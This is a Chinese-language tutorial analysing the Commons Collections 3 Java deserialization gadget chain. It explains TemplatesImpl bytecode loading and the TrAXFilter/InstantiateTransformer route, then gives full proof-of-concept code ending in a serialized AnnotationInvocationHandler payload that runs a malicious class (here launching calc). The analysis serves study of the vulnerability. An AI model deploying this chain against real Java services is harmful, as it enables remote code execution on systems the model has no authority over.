CommonsCollections3利用链分析
原理
CC3这条链比较特殊,和CC1与CC6这两条链是直接在链的代码中执行任意代码相比,CC3是通过动态类加载机制来实现自动执行恶意类的代码的。因此,我们需要先回顾一下在基础篇讲的Java动态类加载机制。
这里的加载类是指从编译好的字节码.class文件中加载类,不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
其中:
loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
findClass
的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
defineClass
的作用是处理前面传入的字节码,将其处理成真正的Java类
所以可见,真正核心的部分其实是 defineClass
,他决定了如何将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass
是一个native方法,逻辑在JVM的C语言代码中。
example:
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
注意一点,在 defineClass()
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass()
时也无法被直接调用到。所以,如果我们要使用 defineClass()
在目标机器上执行任意代码,需要想办法调用构造函数 newInstance()
。
执行上述example,输出了Hello World:
这里,因为系统的 ClassLoader#defineClass
是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。
既然是我们想通过加载类来实现任意代码执行,所以就要找到一个重写了 defineClass()
方法的类,它的链上的某个类里面要调用了 newInstance()
方法,才能实现任意代码执行。
代码分析
TemplatesImpl类加载实现任意代码执行
这里ysoserial找到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类 TransletClassLoader
,里面重写了defineClass()
,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass
由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。
找一下这个类中的其它地方会调用这个方法,就找到了defineTransletClasses()
方法,不过是私有的,内部会调用,接着找。并且在这里可以看到通过for
循环,依次加载字节码_bytecodes
中的内容,然后赋值给Class数组_class
。
然后找到了getTransletInstance()
,可以看到将字节码加载进来之后,会执行_class[_transletIndex].newInstance()
,这里就会实例化类,执行任意代码了。但是这个方法仍然是private的,还需要看哪里调用了getTransletInstance()
。
因此找到了newTransformer()
,并且这个方法还是public的。到此利用的链就找到了。
总结一下目前的调用链是怎样的:
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
现在来写一下怎么通过这个类的newTransformer()
执行任意代码,对成员变量如何赋值才能走到newInstance()
:
- 首先在
newTransformer()
能够正常走到getTransletInstance()
:
- 然后到
getTransletInstance()
,_name
不能为空,_class
要为空,才能进入到defineTransletClasses()
- 然后在
defineTransletClasses()
方法中_bytecodes
为我们传入的字节码,也就是class文件。这里的_tfactory
需要一个TransformerFactoryImpl 对象才能正常调用方法。
- 再往后如果走
if
则else
中的_auxClasses
不用赋值,但是在后面的if
会判断_transletIndex < 0
,因此能在前面的if
里面通过_transletIndex = i;
赋值,所以_auxClasses
就不用赋值了。这里的if
是判断传入的字节码的父类要是ABSTRACT_TRANSLET
,也就是需要继承这个包com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
到这里 defineTransletClasses()
方法就顺利走完了,回到 getTransletInstance()
方法下一步触发 _class[_transletIndex].newInstance()
从而实现加载类代码并初始化任意执行。
到这里,此时构造POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CommonsCollections3 {
// 先定义一个反射修改类内部属性的方法,方便后面直接调用
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
// 获取恶意类的字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
byte[][] codes = {code};
// 反射修改属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 调用 newTransformer() 方法
obj.newTransformer();
}
}
前面说过传入的字节码需要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
这个类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplatesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}
}
运行发现成功执行了恶意类代码:
CC1+TemplatesImpl
现在链已经构造好了,那怎么在反序列化时候去调用newTransformer()
呢?这里首先想到了CC1链的InvokerTransform类能够实现调用传进去的方法。
先回顾一下CC1是怎样调用任意方法的:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
这里只需要将第⼀个InvokerTransformer执行的exec
改成 TemplatesImpl::newTransformer()
,即为:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
// 先定义一个反射修改类内部属性的方法,方便后面直接调用
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// obj.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
可以看到很轻易地就执行了恶意类中的代码:
InstantiateTransformer
但是我们查看ysoserial发现它的链和上面的有些不同,没有用InvokerTransformer
类,而是用到了 InstantiateTransformer
这个类,来看看它怎么写的:
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
可以看到这里用到了TrAXFilter这个类,我们去看看它的构造函数:
原来TrAXFilter类的构造函数嗲用了 newTransformer()
方法,并且前面的Templates对象可控,那么我们只需将这个类实例化,并且参数传进构造好的 templates 即可。而 InstantiateTransformer 这个类就是干这个事的,InstantiateTransformer的transform()
方法就是通过反射获取构造函数来实例化一个类:
所以我们可以利用这个类中的transform()
来实例化TrAXFilter从而达到调用newTransformer()
的目的:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
// 先定义一个反射修改类内部属性的方法,方便后面直接调用
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("value","xxxx");
}
}
利用链成功执行:
POC
最后我们把CC1链后面用到的 AnnotationInvocationHandler类readObject()
方法调用setValue()
触发利用链的代码补上就构成完整的CC3链了:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// obj.newTransformer();
// Transformer[] transformers = {
// new ConstantTransformer(obj),
// new InvokerTransformer("newTransformer", null, null)
// };
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
setFieldValue(transformerChain, "iTransformers", transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
// 本地测试触发
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
当然这里后面用的CC1链存在Java高版本无法使用的问题,可以参考CC6链将其改造即可。
总结
CC3链提供了一个新的思路,不必将执行的代码写在反序列化的类里面,而是写在一个专门的恶意类,当反序列化的时候去动态加载恶意类并初始化它从而实现任意代码执行。
赞赞赞!!!